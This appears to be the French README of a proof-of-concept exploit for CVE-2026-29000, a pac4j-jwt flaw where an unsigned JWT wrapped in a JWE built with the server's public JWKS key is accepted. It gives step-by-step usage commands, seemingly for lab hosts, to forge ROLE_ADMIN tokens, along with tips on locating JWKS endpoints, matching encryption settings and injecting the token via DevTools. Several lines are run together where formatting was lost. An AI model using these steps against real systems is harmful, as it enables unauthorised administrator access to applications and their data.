
CVE-2026-29000 PoC : contournement de l'authentification pac4j-jwt PlainJWT-in-JWE.
Preuve de concept pour CVE-2026-29000. Cible les versions de pac4j-jwt antérieures à 4.5.9, 5.7.9 et 6.3.3.
La vulnérabilité est simple : la bibliothèque accepte un PlainJWT (non signé, alg=none) tant qu'il est enveloppé dans un JWE valide. Comme le serveur expose sa clé publique RSA via un endpoint JWKS, n'importe qui peut chiffrer un JWT non signé arbitraire dans un JWE auquel le serveur fera confiance — y compris un avec ROLE_ADMIN.
alg=none) avec les revendications de votre choixLe serveur le déchiffre, fait confiance aux revendications qu'il contient, et ne vérifie jamais que le JWT interne est non signé.
Python 3.13+ avec uv, ou installez les dépendances manuellement :
pip install jwcrypto requests
[uv run / python3] CVE-2026-29000.py --url <base_url> --jwks <jwks_path> [options]
Obligatoire :
| drapeau | description |
|---|---|
--url | URL de base de la cible, ex. http://10.10.11.x:8080 |
--jwks | chemin ou URL complète vers l'endpoint JWKS |
Optionnel :
Exemples :
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN
python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM
Pas toujours évident. De bons endroits où chercher :
/robots.txt — liste souvent les chemins restreints ou internes/api/auth/jwks/.well-known/jwks.json/.well-known/openid-configurationSi le jeton est rejeté, l'application pourrait attendre un algorithme de chiffrement spécifique. Vérifiez /static/js/app.js pour quelque chose comme :
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";
Puis relancez avec --enc A128GCM.
La méthode de stockage du jeton s'y trouve aussi généralement :
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
}
Si c'est sessionStorage, remplacez le jeton directement dans DevTools sous Application > Session Storage.
Corrigé dans les versions 4.5.9, 5.7.9 et 6.3.3.
| drapeau | défaut | description |
|---|
--user | admin | valeur pour la revendication sub |
--role | ROLE_ADMIN | rôle à forger (ROLE_ADMIN, ROLE_MANAGER, ROLE_USER) |
--issuer | principal-platform | valeur pour la revendication iss |
--enc | A256GCM | chiffrement du contenu JWE (A256GCM ou A128GCM) |